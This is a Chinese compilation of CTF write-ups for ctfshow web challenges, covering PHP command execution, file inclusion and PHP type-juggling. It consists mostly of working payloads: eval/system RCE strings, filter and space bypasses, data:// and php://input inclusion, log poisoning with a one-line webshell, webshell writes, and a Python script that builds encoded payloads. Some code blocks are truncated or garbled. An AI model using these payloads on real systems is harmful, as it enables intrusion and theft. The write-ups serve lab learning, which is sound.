本文是网上题解的结合,并非本人所写,偶尔会有一点感想。
WEB 入门
信息搜集
web1-17
爆破
web18-23
命令执行
web29(有没懂的知识)
1 | if(isset($_GET['c'])){ |
eval 是 PHP 里的一个内置函数,它的作用是把字符串当作 PHP 代码来执行。?c=system("cat f*");
背景知识
拿到题目,可以看到通过 eval 函数可以执行 php 代码或者系统命令,其中过滤了 flag。
$_GET[c]的意思是我们输入 c 参数; pregmatch 是正则匹配是否包含 flag,if(!preg_match("/flag/i", $c)),/i 忽略大小写,如果输入参数中不包含 flag 的大小写,则进入 if 判断内部。 还有/m 等参数表示多行匹配,具体可以参考这里:https://www.php.cn/php-weizijiaocheng-354831.html
eval($c);就是本题的漏洞点 ,这个之前的输入过滤太简单了。eval 内执行的是 php 代码,必须以分号结尾。eval 和其他函数的对比可以参考这里:https://blog.csdn.net/weixin_39934520/article/details/109231480分别以如下方法尝试拿到 flag:
1、直接执行系统命令
?c=system("tac%20fla*");利用 tac 与 system 结合,拿到 flag因为可以利用 system 来间接执行系统命令,如果 flag 不在当前目录,也可以利用
?c=system("ls");来查看到底在哪里。2、内敛执行 (反字节符)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27 注意结尾的分号,注意写 writeup 时,因为有反字节符,要核对一下是否转义,需要再在页面上确认一下。 利用 echo 命令和 tac 相结合来实现。注意 flag 采用*绕过,\`反字节符,是键盘左上角与~在一起的那个。
#### 3、利用参数输入+eval
`?c=eval($_GET[1]);&1=phpinfo();`
试一下,没问题,可以看到 phpinfo 的信息。 然后就使用`?c=eval($_GET[1]);&1=system(ls);`看一下当前目录都有什么,也可以`?c=eval($_GET[1]);&1=system("ls%20/");`看一下根目录都有什么。 注意上一行结尾的分号都不能省略。因为是以 php 代码形式来执行的,所以结尾必须有分号。此外查看根目录时,必须用引号包裹,不太清楚原因,目前觉得因为 system 的参数必须是 string。
#### 4、利用参数输入+include
这里的 eval 也可以换为 include,并且可以不用括号。但是仅仅可以用来读文件了。
`?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php`
(参考 y4tacker 师傅的解法:https://blog.csdn.net/solitudi/article/details/109837640)
也可以尝试写入木马 `file_put_contents("alb34t.php",%20%27<?php%20eval($_POST["cmd"]);%20?>%27);` 访问 alb34t.php,然后就可以连马。
#### 5、利用 cp 命令将 flag 拷贝到别处
?c=system("cp%20fl*g.php%20a.txt%20");
然后浏览器访问 a.txt,读取即可。
### web30
```php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
?c=eval($_GET[1]);&1=system("tac fla*");
web31
1 | if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){ |
?c=eval($_GET[1]);&1=system("tac fla*");
web32
1 | if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){ |
?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
web33 (未复现)
1 | if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){ |
与前一关相比,貌似就多过滤了双引号号,所以上一关 payload 依然适用
php 中不需要括号的函数,如:echo 123; print 123; die; include "/etc/passwd"; require "/etc/passwd"; include_once "/etc/passwd"; require_once "etc/passwd";
这里我们利用include构造 payload
url/?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
其中?>代替分号,页面会显示 flag.php 内容的 base64 编码,解码即可获取 flag
还有一种方法,日志注入
url/?c=include$_GET[1]?%3E&1=../../../../var/log/nginx/access.log
/var/log/nginx/access.log 是 nginx 默认的 access 日志路径,访问该路径时,在 User-Agent 中写入一句话木马,然后用中国蚁剑连接即可
?c=include$_GET[1]?>&1=data://text/plain
web34(未复现)
1 | if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){ |
上面的 data 和 php 协议不能用了
web35

1 | 题目对常见命令都进行过滤, 但是仔细发现可以利用 include 进行绕过, 具体实现方式为 eval(include flag.php;); ,但是题目屏蔽了分号(;)和点号(.), 其中分号可以使用?>平替,但是点号无法绕过, 遂使用 post 执行 php 代码注入 flag.php, 因此可得 payload: |
web36
1 | if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){ |

?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
web37
1 | if(isset($_GET['c'])){ |
从 eval 变成 include
单独的 ?c=data://text/plain 并没有任何实际执行或展示数据的功能,它只是表达了数据传递的方式,需要后续指定数据内容,比如 ?c=data://text/plain,Hello%20World 就是传递纯文本 “Hello World”。
?c=data://text/plain;base64,PD9waHAgCnN5c3RlbSgidGFjIGZsYWcucGhwIikKPz4=
?c=data://text/plain,<?=system("tac fla*")?>
web38,39
web40(未)
1 | if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){ |
题解,查看当前工作目录 getcwd(),扫描当前目录及文件”scandir()”输出 为数组,flag.php 在倒数第二个个位置那就数组倒置 array_revers(),变为正数第二,在使用 next()函数指向从第一个指向第二个(及指向 flag.php),最后使用 show_source()查看文件的内容 ?c=print_r(show_source(next(array_reverse(scandir(getcwd())))));
url+?c=print_r(getcwd()); ===> /var/www/html
url+?c=print_r(scandir(getcwd())); ===> Array ( [0] => . [1] => .. [2] => flag.php [3] => index.php )
url+?c=print_r(array_reverse(scandir(getcwd()))); ==> Array ( [0] => index.php [1] => flag.php [2] => .. [3] => . )
url+?c=print_r(next(array_reverse(scandir(getcwd())))); ==> flag.php
url+?c=print_r(show_source(next(array_reverse(scandir(getcwd()))))); ==> $flag=”ctfshow{eca2e7df-d196-4b71-9632-ad4d32e194d3}”;
法一
c=eval(array_pop(next(get_defined_vars())));//需要 POST 传入参数为 1=system(‘tac fl*’);
get_defined_vars() 返回一个包含所有已定义变量的多维数组。这些变量包括环境变量、服务器变量和用户定义的变量,例如 GET、POST、FILE 等等。
next()将内部指针指向数组中的下一个元素,并输出。
array_pop() 函数删除数组中的最后一个元素并返回其值。
法二
c=show_source(next(array_reverse(scandir(pos(localeconv()))))); 或者 c=show_source(next(array_reverse(scandir(getcwd()))));
getcwd() 函数返回当前工作目录。它可以代替 pos(localeconv())
localeconv():返回包含本地化数字和货币格式信息的关联数组。这里主要是返回值为数组且第一项为”.”
pos():输出数组第一个元素,不改变指针;
current() 函数返回数组中的当前元素(单元),默认取第一个值,和 pos()一样
scandir() 函数返回指定目录中的文件和目录的数组。这里因为参数为”.”所以遍历当前目录
array_reverse():数组逆置
next():将数组指针指向下一个,这里其实可以省略倒置和改变数组指针,直接利用[2]取出数组也可以
show_source():查看源码
pos() 函数返回数组中的当前元素的值。该函数是 current()函数的别名。
每个数组中都有一个内部的指针指向它的”当前”元素,初始指向插入到数组中的第一个元素。
提示:该函数不会移动数组内部指针。
相关的方法:
current()返回数组中的当前元素的值。
end()将内部指针指向数组中的最后一个元素,并输出。
next()将内部指针指向数组中的下一个元素,并输出。
prev()将内部指针指向数组中的上一个元素,并输出。
reset()将内部指针指向数组中的第一个元素,并输出。
each()返回当前元素的键名和键值,并将内部指针向前移动。
我来解释这个 payload:?c=eval(next(reset(get_defined_vars())));&pay=system(“tac flag.php”); //get_defined_vars()用于以数组的形式返回所有已定义的变量值(包括 URL 屁股后面接的 pay),这里源码只定义了一个变量即 c,加上你引入的 pay 就两个变量值了。reset 用于将指向返回变量数组的指针指向第一个变量即 c,next 向前移动一位指针即 pay,eval 执行返回的值就是咱们定义的恶意代码。我这边去掉 system()函数前的分号了,也能出结果。
web41(未)
1 | if(isset($_POST['c'])){ |
未过滤【或 | 】运算符
可以使用两个不在正则匹配范围内的非字母非数字的字符进行或运算,从而得到我们想要的字符串
首先进行代码审计:
1
2
3
4
5
6
7
8
9
10 <?php
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>题目首先接收一个POST请求中名为’c’的参数,然后进行过滤,若未被过滤则执行 eval(“echo($c);”);
1 对于'/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i'该正则表达式的含义是:它会匹配任意一个数字字符、小写字母、”^”、”+”、”~”、”$”、”[“、”]”、”{“、”}”、”&” 或 “-“,并且在匹配时忽略大小写。可以说过滤了大部分绕过方式,但是还剩下”|”没有过滤。所以这道题的目的就是要我们使用 ascii 码为 0-255 中没有被过滤的字符进行或运算,从而得到被绕过的字符。
思路如下:
- 首先对 ascii 从 0-255 所有字符中筛选出未被过滤的字符,然后两两进行或运算,存储结果。
- 跟据题目要求,构造 payload 的原型,并将原型替换为或运算的结果
- 使用 POST 请求发送 c,获取 flag
羽师傅先把或运算的结果放进 txt,然后查表构造 payload,用了两个脚本,这里给一个一体化的脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39 import re
import urllib
from urllib import parse
import requests
contents = []
for i in range(256):
for j in range(256):
hex_i = '{:02x}'.format(i)
hex_j = '{:02x}'.format(j)
preg = re.compile(r'[0-9]|[a-z]|\^|\+|~|\$|\[|]|\{|}|&|-', re.I)
if preg.search(chr(int(hex_i, 16))) or preg.search(chr(int(hex_j, 16))):
continue
else:
a = '%' + hex_i
b = '%' + hex_j
c = chr(int(a[1:], 16) | int(b[1:], 16))
if 32 <= ord(c) <= 126:
contents.append([c, a, b])
def make_payload(cmd):
payload1 = ''
payload2 = ''
for i in cmd:
for j in contents:
if i == j[0]:
payload1 += j[1]
payload2 += j[2]
break
payload = '("' + payload1 + '"|"' + payload2 + '")'
return payload
URL = input('url:')
payload = make_payload('system') + make_payload('cat flag.php')
response = requests.post(URL, data={'c': urllib.parse.unquote(payload)})
print(response.text)直接输入题目的 URL 就完事
web42
1 | if(isset($_GET['c'])){ |
>/dev/null 2>&1:
关键部分,这是一个 Shell 命令输出重定向技巧:>/dev/null:将标准输出(stdout)丢弃到空设备(不显示)。2>&1:将错误输出(stderr,文件描述符 2)重定向到标准输出(stdout,文件描述符 1),最终也被丢弃。
效果:命令执行后的所有输出(包括错误信息)都被隐藏,攻击者无法直接看到命令执行结果。
假设你是一个餐厅老板(服务器),有两个 “传话筒”:
- 标准输出(stdout):正常的订单信息(文件列表、命令结果)
- 错误输出(stderr):厨房报错(文件不存在、权限拒绝)
正常情况:
顾客(攻击者)点单(发送命令),你通过传话筒把结果喊回去(显示在网页上)。
但这段代码做了什么?
1 | >/dev/null 2>&1 |
相当于你把两个传话筒都剪断了,接到了一个 “黑洞”(/dev/null):
>/dev/null:把正常订单信息直接扔进垃圾桶2>&1:把厨房报错也重定向到和正常信息一样的 “黑洞”
结果:
顾客点了 “给我看菜单”(ls /etc/passwd),你确实去厨房查了菜单,但不管查到什么,都不会告诉顾客。顾客只能通过其他方式(比如观察餐厅灯光是否熄灭)猜测命令是否成功执行。
为什么攻击者喜欢这样?
- 隐藏踪迹:管理员查看日志时,只看到命令被执行,但看不到结果,很难发现异常。
- 偷偷做事:攻击者可以执行 “下载病毒”“修改文件” 等操作,服务器表面看起来一切正常。
生活类比
想象你家有个保姆,你允许她用微波炉热饭(执行命令),但她偷偷用微波炉烤手机(恶意操作),还把声音关掉(>/dev/null),甚至把冒烟的警报器也拔掉(2>&1),你完全不知道她在干什么。
永远不要让陌生人直接控制保姆!
正确做法是:
- 给保姆一个菜单(白名单),只允许她做菜单上的菜(预定义命令)
- 你亲自监督她做菜(验证用户输入)
- 保留监控录像(记录所有操作)
命令只是将错误输出重定向到了标准输出,并没有重定向标准输出,所以可以将错误输出重定向至/dev/null ?c=cat flag.php &2
1 | /?c=tac flag.php;ls |
gsfdgdfg
web43
1 | if(!preg_match("/\;|cat/i", $c)){ |
1 | ?c=tac flag.php||ls |
web44
1 | if(isset($_GET['c'])){ |
1 | ?c=tac fla*.php||ls |
服务器会重定向到 index.php,所以写入其他文件无法查看,直接修改 index.php 输出 flag。
tee 命令不仅会将输入内容写入文件,还会将其输出到标准输出
所以构造 playload:
c=echo “” | tee index.php
再访问 index.php 就是 flag.php 的内容
无回显方式查看 flag 既然跟前面几个一样,这次只不过加了过滤 flag, 可以通过 cp 命令将 flag.php 的内容 cp 成 txt 格式的,?c = cp fla?.php 3.txt 后面直接访问 3.txt 就可以直接看到 flag
web46
1 | if(! preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $ c)){ |
关键是通配符
几种绕过空格的方式 {cat, flag.txt} cat ${IFS}flag.txt cat$ IFS$9flag.txt cat < flag.txt//这俩 <> 貌似没啥用 cat <> flag.txt
cat%0afla?.php cat%09fla?.php 这俩的区别是后者用于语句中间,前者可以用来做末尾的截断
对于 “<”和”<>” 的代替空格方式,要队 “<”和”<>” url 编码,防止数据传输出现问题
?c = tac < fla%27%27g.php||
?c = tac%09fla?.php||
?c = ca\t < fl\ag.php||
?c = tac%09fla?.php%0Als
?c = tail%09fl’’ag.php||ls
?c = nl%09fl??.php%0a
?c = tac%09
which%09ls%0a
web47
就是不屏蔽 tac
if(!preg_match(“/;|cat|flag| |[0-9]|\$|*|more|less|head|sort|tail/i”, $c)){
system($c.” >/dev/null 2>&1”);
1 |
|
if(!preg_match(“/;|cat|flag| |[0-9]|\$|*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|`/i”, $c)){
system($c.” >/dev/null 2>&1”);
1 |
|
1 | ?c=tac<fla%27%27g.php||ls |
web50
1 | if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){ |
1 | ?c=ta\c<fla%27%27g.php||ls |
web51
1 | if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){ |
1 | ?c=t\ac<fla%27%27g.php||ls |
web52
1 | if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){ |
1 | ?c=ca\t${IFS}/fla?||ls |
web53
1 | if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){ |
system()的特殊之处在于它在 “返回值用于赋值” 的同时,还会 “执行命令并输出结果”,这是由函数设计决定的,与赋值操作本身无关。
echo($c);
$d = system($c);
echo "<br>".$d;
这三行里面有很多废话,实际上就等于 system($c);
所以直接把上面的 payload 删掉||和后面的内容就好了
?c=ca’’t${IFS}fla’’g.php
web54
1 | if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){ |
1 | 解法一: 使用使用 mv 命令把 flag 文件重命名,再使用 uniq 查看 a.txt(如果第二步看不到,请右键查看文件源代码) 第一步:c= mv${IFS}fla?.php${IFS}a.txt |
web55
1 | if(isset($_GET['c'])){ |
由于过滤了字母,但没有过滤数字,我们尝试使用/bin 目录下的可执行程序。
但因为字母不能传入,我们需要使用通配符?来进行代替
?c=/bin/base64 flag.php
替换后变成
?c=/???/????64 ????.???
bash 无字母命令执行
使用
1 $'\154\163'会执行
ls故 payload 是
1
/?c=$’\143\141\164’%20*
1
2 八进制序列解码后分别为 tac 和 flag.php。
web56
1 | // 你们在炫技吗? |
php 上传的文件会临时放在/tmp 目录下
经典无数字字母rce,
前言
之前做过一道红包题第二弹,这里也是同样的解法,但是新学到了很多知识点,记录一下。
这个解法,p神的文章讲的很清楚无字母数字webshell之提高篇
web57
1 | //flag in 36.php |
文件包含
web78
1 | if(isset($_GET['file'])){ |
直接让 file=flag.php 是没用的,因为他是一个 php 文件,包含到当前页面会被当成 php 源吗解析,那么他的 flag 是定义的属性,又不会给你打印出来,相当于执行了<?php $flag=xxxx,这里又不会给你打印,所以你需要用 filter 协议,以 base64 的格式去读取,或者用 data 协议去命令执行。
1 | ?file=php://filter/convert.base64-encode/resource=flag.php |
关键部分为 include 这里的$file 可由 get 传参控制,由于没有过滤所以这里方法较多。
使用 data 协议可以很直观有条理的获得 flag
?file=data://text/plain,<?php system('ls');?>可以获取当前目录文件发现有一个 flag.php
?file=data://text/plain,<?php system('tac flag.php');?>即可读取 flag.php 的中的内容。
web79
1 | if(isset($_GET['file'])){ |
尝试使用短标签无果:
1 | ?file=data://text/plain,<? system('whoami');?> |
结果 wp 跟我说这样就行了:
1 | ?file=data://text/plain,<?= system('whoami');?> |
<?= 以代替 <? echo
1 | ?file=data://text/plain,<?= system('tac flag.***');?> |
法一:input 协议 大小写绕过
1
2
3
4
5
6
7
8
9
10
11 payload:
POST /?file=Php://input HTTP/1.1
<?Php system("ls");?>
POST /?file=Php://input HTTP/1.1
<?Php system("cat flag.php");?>
# 仅需在请求行 大写即可法二: data 协议 + 利用 php 性质绕过
1
2
3
4
5
6
7 payload:
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw== # <?php phpinfo();
?file=data://text/plain,<?= `tac f*`;?>
?file=data://text/plain,<?Php echo `tac f*`;?> # 可以无 ;
<?php ?>:php 默认的开始、结束标签<? ?>:需要开启 short_open_tag ,即 short_open_tag = On。<%%>:需要开启 asp_tags ,即 asp_tags = On。<?= ?>:用于输出,等同于- 可以直接使用<%= %>:用于输出,等同于- ,需要开启 asp_tags ,才可以使用 short_open_tag 控制的是<? ?>标签。而并非<?= ?>标签,<?= ?>标签用于输出变量。当开启 short_open_tag,<? ?>功能和<?php ?>一样。 php中代码开始标志类型(,,,<% %>,<%= %>)法三:data 协议 base64 加密
1
2
3
4 payload:
/?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOw== # <?php system('ls');
/?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs= # <?php system('cat flag.php');
// 包含日志文件
// bp 拦截请求 修改 UA 为
?file=/var/log/nginx/access.log&1=system(“tac fl0g.php”);
web80
1 | if(isset($_GET['file'])){ |
1 | POST /?file=Php://input HTTP/1.1 |
(需要先 ls)
web81
1 | if(isset($_GET['file'])){ |
直接把伪协议禁了,抄一下上面日志注入的方法。
// 在响应头中可以看到服务器为 nginx
// 包含 nginx 访问日志记录
1 | GET /?file=/var/log/nginx/access.log&1=system("tac%20fl0g.php"); |
image-20250702183321642](../../AppData/Roaming/Typora/typora-user-images/image-20250702183321642.png
web82
1 | if(isset($_GET['file'])){ |
web87
1 | if(isset($_GET['file'])){ |
1 | file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content); |
这句话的意思是,将 die+$content,放入 url 解码后的$file 中。
思路:
$content 是任意可控的,但是前面是 die,所以要让 die die。
怎么让 die die 呢?因为 die 和$content 是一起读取的,所以我们让$file 用 base64 解码的方式写入,也就是说,先对 die 和$content 进行 base64 解码,再写入。那么我们把我们想要写入的命令先 base64 编码,就会无损。而 base64 解码只会注意 phpdie 这六个字符,所以 die 就没办法发挥作用了。
但是这里还有一个问题,因为 base64 是四个为单位,所以读取的时候会拉上后面两个字符。所以我们需要传入的 content 是“两个字符长度的垃圾数据”+“base64 编码的关键命令”
1 | aaPD9waHAgc3lzdGVtKCdscycpOw== |
还有一个要绕过的过滤,是$file,但是很简单,他是先替换再解码,我们在替换的时候把指定字符藏起来不就好了?
当我们编码一次,浏览器不会帮我编码,于是服务器解码一次就发现了要过滤的字符。
当我们编码两次,那么服务器自己解码一次,获得的是我们编码一次的 URL 编码,没有要替换的字符,在最后的 url 解码部分才成为纯净的你原来想写入的代码。
注意看,传过去的 file 参数经过了 urldecode() 函数解码。所以 file 参数的内容要经过 url 编码再传递。同时网络传递时会对 url 编码的内容解一次码,所以需要对内容进行两次 url 编码。
另外,需要绕过 die() 函数。
根据文章 谈一谈php://filter的妙用 ,可以有以下思路:
- base64 编码范围是 0 ~ 9,a ~ z,A ~ Z,+,/ ,所以除了这些字符,其他字符都会被忽略。
- 所以对于
<?php die('大佬别秀了');?>,base64 编解码过滤之后就只有phpdie6 个字符了,即可进行绕过。- 前面的 file 参数用 php://filter/write=convert.base64-encode 来解码写入,这样文件的 die() 就会被 base64 过滤,这样 die() 函数就绕过了。
- 后面再拼接 base64 编码后的一句话木马或者 php 代码,被解码后刚好可以执行。
- 由于 base64 是 4 个一组,而 phpdie 只有六个,所以要加两个字母凑足 base64 的格式。
这题传参时,file 用 get 方法,content 用 post 方法。
web88
1 | if(isset($_GET['file'])){ |
虽然我很想用条件竞争,但是条件竞争的题目在前面来着…
被过滤的字符有:
1 | php ~ ! @ # $ % ^ & * ( ) - _ + = . |
拦住 . → 那就别用路径穿越
拦住 php → 不用 php://
没拦 data: → 尝试 data://
拦住 = → 尝试删掉结尾 =
1 | ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmwwZy5waHAnKTs/Pg |
📌 一、常见绕过技巧的【字符依赖表】
| 技术 / Payload 用法 | 依赖字符(被过滤就不能用) | 可用情况说明 |
|---|---|---|
php://input |
php、:、/ |
伪协议输入 |
data://text/plain;base64,... |
data、:、/、(建议有 =) |
base64 执行 |
file://path/to/file |
:、/、. |
本地文件包含 |
../../etc/passwd |
.、/ |
路径穿越 |
phpinfo() |
(、)、phpinfo |
打探信息 |
eval($_GET[x]) |
$、(、) |
任意执行 |
system("ls") |
(、)、"、system |
命令执行 |
| Base64 payload | =(可以省略) |
= 是可选填充 |
Log 包含 (/var/log/apache2/...) |
/、. |
利用日志注入 |
Session 包含 (/var/lib/php/sess_) |
/、. |
利用 session 注入 |
包含远程文件 (http://...) |
:、/、.、http |
URL 包含(前提是 allow_url_include = On) |
🌲 二、文件包含漏洞的【利用策略树】
这棵树你可以记成一个“先判断,再选择策略”的流程:
txt复制编辑看见 include、require → 判断是否用户可控
├── 是 → 看是否有过滤(preg_match)?
│
├── 没有过滤任何字符
│ └── ✅ 使用 php://input 直接包含 POST 的恶意代码
│
├── 过滤了 php:// 或 php
│ └── ✅ 尝试 data:// 协议(编码后的 payload)
│
├── 过滤了 . 或 /
│ └── ❌ 无法使用路径穿越、log/session包含
│
├── 过滤了 =
│ └── ⚠️ base64 编码 payload 去掉 = 测试是否仍可解码
│
├── 没过滤 : 和 data
│ └── ✅ 试试 data://text/plain;base64,PD9...
│
├── 能访问日志、session 文件
│ └── ✅ 尝试日志注入、session 注入包含
│
└── 什么都不能用?
└── 😢 尝试构造可用字符绕过、混淆符号、目录软链接等
🔁 三、实战用法:快速判断法
拿到一道文件包含题,可以快速这么判断:
text复制编辑1. 看是否 include($xx) 或 require($xx) ✅
2. 看是否 GET 控参?(如 ?file=xxx) ✅
3. 看是否有过滤?(preg_match 或 replace) ✅
4. 把不能用的字符列出来 ❌
5. 和字符依赖表对照 ✅
6. 选最合适策略下 payload 🧠
PHP特性
web89
1 | include("flag.php"); |
intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1 。 故此传入?num[]=1,产生错误返回1。 并且preg_math()传入数组参数也会直接返回0
⚠️ 小拓展:关于 SQL 注入中的数组绕过
你提到的这段也很经典:
1 | .php?id=1 → 正常执行 |
在 PHP 中:
1 | $_GET['id'] => array(1) // 当参数是 id[]=1 时 |
所以,如果后台开发者粗心地写了:
1 | $id = intval($_GET['id']); |
那么:
- 本来想防注入(比如你加了引号 ‘1),也不会有影响,因为
intval('1') == 1,intval('1\' or 1=1') == 1 - 更糟的是,你传数组也能绕过去!
web90
1 | include("flag.php"); |
先看题目,要求get一个num,值不等于4476并且intval之后等于4476
👉 intval($num, 0) 是什么意思?
- 这个用法会让 PHP 自动根据前缀判断进制:
| 前缀 | 例子 | 含义 |
|---|---|---|
| 无 | 123 |
十进制 |
0x |
0x117c |
十六进制 |
0 |
07744 |
八进制(PHP8 不推荐) |
0b |
0b110 |
二进制 |
所以:
intval("0x117c", 0)= 十六进制0x117c= 十进制 4476intval("4476a", 0)= PHP 解析前面合法的部分,得到4476intval("4476.1", 0)= 转换成4476
注意:
这些例子都是 字符串不等于 “4476”,但经过 intval() 后结果是 4476,所以能通过判断,输出 $flag。
web91
1 | show_source(__FILE__); |
1 | /i表示匹配大小写,/m表示多行匹配 , "行首"元字符 (^) 仅匹配字符串的开始位置**, **而"行末"元字符 ($) 仅匹配字符串末尾,字符 ^ 和 $ 同时使用时,表示精确匹配,需要匹配到以php开头和以php结尾的字符串才会返回true 。 |
web93
1 | include("flag.php"); |
4476.1
web94
1 | include("flag.php"); |
先看题目,多了一个 !strpos($num, “0”) , strpos() 函数查找字符串在另一字符串中第一次出现的位置 ,这里要求是第一个字符不是0,其他和上题一样,可用4476.0绕过,或者在八进制前面加空格,或者 ?num=+4476 。
payload:
1 | ?num=4476.0 |
web95
1 | include("flag.php"); |
payload:
1 | ?num= 010574 |
web96
1 | highlight_file(__FILE__); |
看题目,要求u不弱等于flag.php,然后高亮u。可以推断出,flag在当前目录下的flag.php文件中。
payload:
?u=../html/flag.php
?u=./flag.php //相对路径, ./表示在当前目录下
?u=php://filter/convert.base64-encode/resource=flag.php //伪协议
?u=php://filter/resource=flag.php //伪协议
?u=/var/www/html/flag.php //绝对路径
web97
1 | include("flag.php"); |
payload:
a[]=17&b[]=17 //数组
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
//强碰撞
web98(看不懂源码看不懂解析)
1 | include("flag.php"); |
既然get传入的值会被定位指向到post所对应的值,那么只需要有get存在即可,同时post传入HTTP_FLAG=flag就可以了 payload ?HTTP_FLAG=随便输 //GET HTTP_FLAG=flag //POST
web99
1 | highlight_file(__FILE__); |
$allow = array(); 创建一个空数组array
for ($i=36; $i < 0x36d; $i++) { for循环,i从36到0x36d逐渐+1
array_push($allow, rand(1,$i)); $allow是个数组,arraypush把从1到i的一个随机数入栈
if(isset($_GET[‘n’]) && in_array($_GET[‘n’], $allow)){ 接受在这个数组里的n,让n作为文件名
PHP里的弱类型比较在字符串和数字比较的时候会尝试把字符串转为数字,所以1.php和1是这里是相等的。
由于这个数组的末尾一开始是从36开始增加,所以这个数组本来就有1-36的随机push,所以1-36出现的概率最大,我们这里让n=1.php,content=<?PHP eval($_POST[1]);?>反复执行几次,再访问1.php并发送1=system(‘ls’);就好。
web100
1 | include("ctfshow.php"); |
这里考察了=和and的优先级,&&>||>=>and>or
所以
1 | $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); |
这一行是意思是,v1是否是数字复制给v0,再检查v2v3是不是数字,所以只需要v1是数字就能让v0=1。
后面有没有分号什么的不说了。
payload如下:
1 | ?v1=1&v2=system("tac ctfshow.php")/*&v3=*/; //利用注释 |
web101
1 | include("ctfshow.php"); |
1 | ?v1=1&v2=echo new ReflectionClass&v3=; //使用反射类直接输出class ctfshow的信息 |
这个题太坑了,先要把0x2d换成
ReflectionClass
原生类是PHP自带的类,这些类方便开发人员完成系统底层或常用的功能,比如操作系统、数据库、反射、异常处理等。
ReflectionClass是PHP自带的反射(Reflection)类。反射简单来说就是程序在运行时能查看自己的结构和信息,就像“照镜子”一样。
它可以让你在代码运行时查看一个类的详细信息,包括类名,方法,属性等。
假设你有一个类叫 ctfshow,你想知道这个类里面有什么属性和方法,你就可以用:
1 | $ref = new ReflectionClass('ctfshow'); |
它会告诉你很多关于 ctfshow 类的结构信息。
web102
1 | $v1 = $_POST['v1']; |
web103
1 | $v1 = $_POST['v1']; |
这两题就差一个短标签绕过,一起理解了。首先v2是数字v4就是1。选取v2从第二个位置开始的字符作为指定函数的参数。最后把运行结果放到v3里。
这个题目的payload属于意料之外情理之中,就是把放入的命令先短标签绕过,再base64编码,再转换成ASCII编码,开头加上两个占位字符,就是我们的v2。
为什么v2可以通过is_numeric呢?因为PHP是一个字符串里面有e就会判定为数字的语言。
1 | $a='<?=`cat *`;'; |
这里有个e,就是能过。
1 | ?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=x.php //GET |
然后url+x.php访问查看源代码什么都有了。
web104
1 | include("flag.php"); |
数组绕过
也可以弱碰撞
1 | aaK1STfY |
web105
```php
include(‘flag.php’);
error_reporting(0);
$error=’你还想要flag嘛?’;
$suces=’既然你想要那给你吧!’;
foreach($_GET as $key => $value){
if($key===’error’){
die(“what are you doing?!”);
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value===’flag’){
die(“what are you doing?!”);
